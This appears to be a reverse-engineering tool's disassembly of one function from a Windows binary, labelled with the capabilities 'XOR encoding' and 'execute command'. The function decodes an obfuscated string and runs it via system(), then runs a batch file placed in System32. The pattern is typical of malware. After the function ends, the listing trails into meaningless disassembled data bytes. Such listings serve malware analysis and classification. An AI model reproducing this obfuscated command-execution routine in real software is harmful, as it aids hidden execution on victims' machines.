Function at 0x1400474f0
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov r11, rsp
sub rsp, 0xa8
movups xmm0, xmmword [0x1400d0d10]
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
movups xmm1, xmmword [0x1400d0d20]
movzx eax, word [0x1400d0d68]
movups xmmword [rsp + 0x30], xmm0
movups xmm0, xmmword [0x1400d0d30]
movups xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x1400d0d50]
movups xmmword [rsp + 0x40], xmm1
movups xmm1, xmmword [0x1400d0d40]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x1400d0d60]
movups xmmword [rsp + 0x60], xmm1
mov word [r11 - 0x20], ax
movzx eax, byte [0x1400d0d6a]
mov byte [r11 - 0x1e], al
movsd qword [r11 - 0x28], xmm0
jl 0x1400476a6
movdqa xmm0, xmmword [0x1400d1f40]
lea rdx, [r11 - 0x74]
movdqa xmm4, xmmword [0x1400d1ec0]
movdqa xmm3, xmmword [0x1400d2260]
movdqa xmm5, xmmword [0x1400d1ef0]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [r11 - 0x18], xmm6
movdqa xmm6, xmmword [0x1400d1f00]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm4
add ecx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movd dword [rdx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x58
jl 0x1400475b0
movaps xmm6, xmmword [rsp + 0x90]
cmp ecx, 0x5b
jge 0x1400476ef
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x36
xor byte [r8 - 1], al
cmp ecx, 0x5b
jl case.default.0x140047708
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32pt8v1a.bat__nul_2_1
add rsp, 0xa8
jmp qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
adc dword [0x13e68c62b], eax
lea ecx, [rax]
add dh, bh
leave
stc
invalid
cli
sti
add edi, edx
add dword [rdx + 1], ecx
add r15, rdx
cli
cli
invalid
add dword [0x13a8bd0a7], esi
out dx, al
add al, 0xe8
sti
add ebp, dword es:[rbp + rdi*8 + 0x12]
insb byte [rdi], dx
std
adc bh, dh
insb byte [rdi], dx
std
adc bh, dh
loope 0x14019ca94
add dh, byte [rbp - 3]
jne 0x14019ca91
mov eax, dword [rcx]
invalid
adc eax, 0xd216fc17
add esp, dword [rdx]
add esp, dword [rsp + rdx*8]
add byte [rbx], al
add byte [rax + 0x5a080000], ah
or byte [rax], al
add byte [rcx], dl
add byte [rbx], ah
add byte [rdi], ah
add byte [rax], al
and dword [r10], esp
and al, 2
xor eax, 0x33241234
and dword [rdx], esi
add al, 0x12
adc eax, 0x1040214
and dword [rdx], esi
xor eax, 0x23262634
and dword [rdx], esp
invalid
add dword [rax], eax
mov ebx, 0xebe55501
add dword [rdi - 0x3f], ebx
mov edi, 0xe6eba3fe
invalid
add byte [rax], al
and dword [r9], edx
adc byte [rdx], al
add al, 0x23
and esp, dword [rax]
and al, 2
and esp, dword [rbx]
and byte [rdx + rax], ah
adc dword [rcx], edx
and dword [rcx], edx
adc al, 0x16
invalid
add dh, bh
js 0x14019cb4e
add dword [rbx + 0x7b], ebp
call 0x11cae5b1c
jp 0x14019cb7a
cmp esi, 0xfd000893
invalid
mov esi, 0x8016d01
add bh, byte [rdi - 0x1a56be03]
jne 0x14019cbfe
jrcxz 0x14019cb4e
add bh, byte [rdi + 0x800f8]
add byte [rcx], al
add byte [rbp - 0xcf90000], cl
or byte [rax + rax], bl
sub al, byte [rax]
add byte [rbx + 0x11], dh
and dword [0x1742acdd9], esi
adc dl, byte [rdx]
and al, 0x33
xor al, byte [rdx + rdx]
adc dl, byte [0x15520cdd0]
and dword [rcx], edx
and dword [rcx], edx
adc dh, byte ss:[0x1633dce00]
adc dh, byte [0x1633dce00]
adc dh, byte [0x1633dce00]
and cl, byte [rsi]
add dl, byte [0x1572fdde8]
adc dword [rbp - 0x294872ff], ecx
mov edi, esi
add dword [rdx - 0x30], ebx
rol byte [rcx], 1
pop rdx
dec byte [rbx - 0x72fe482a]
cld
invalid
test eax, 0x559ad37e
jle case.0x140047708.23
invalid
push rbp
outsb dx, byte [rsi]
mov ebx, 0x10370174
jbe 0x14019cbfe
test byte [rcx], al
or al, 0xd6
add dword [rsi + rdx*8], ecx
add dword [rbp + 1], esp
add eax, 0xfbfe8f8f
invalid
invalid
sti
invalid
invalid
dec cl
add dword [rax + 0x1401c730], ecx
movabs dword [0x8ef1b465af2c01bd], eax
movabs dword [0xffff78fe30c7ecfe], eax
invalid
in al, dx
invalid
xor dh, bh
js 0x14019cc2a
inc dword [rax]
add byte [rax], al
or byte [rdx + 8], bh
invalid
xchg esp, eax
add al, 0x27
add esp, edx
add byte [rdi + 0x7000000], al
or dword [rax + 0x16ff], esp
invalid
add byte [rax], al
invalid
add byte [rax], al
or byte [rax + 8], cl
lea eax, [rsi + riz]
add esp, edx
push rbp
add byte [rax], al
invalid
insd dword [rdi], dx
add byte [rax], al
invalid
add byte [rdi], bh
add byte [rax], al
or dl, ah
or byte [rsp + rax], bl
invalid
add byte [rax], al
add byte [rdi], al
or dword [rdx + 0x4eff], esp
add byte [rbx], al
dec esi
add byte [rax], al
or bl, byte [rax + 0x2a001c08]
add byte [rax], dh
add byte [rbx], bh
add byte [rax], al
invalid
adc dl, byte [rdx]
and al, 0x33
xor al, byte [rdx + rdx]
adc dl, byte [0x15520cec5]
and dword [rcx], edx
adc dword [rcx], esp
adc dword [rsi], esi
adc dh, byte ss:[0x1633dcef5]
invalid
adc dword [rcx], esp
adc dword [rsi], esi
adc dh, byte ss:[0x1633dcef5]
invalid
and esp, dword [rdx]
invalid
and cl, byte [rsi]
add dl, byte [0x1572fdedd]
adc dword [rcx], eax
adc eax, 0x21350123
and dword [0x1471fd2ec], edx
invalid
add byte [rax], al
invalid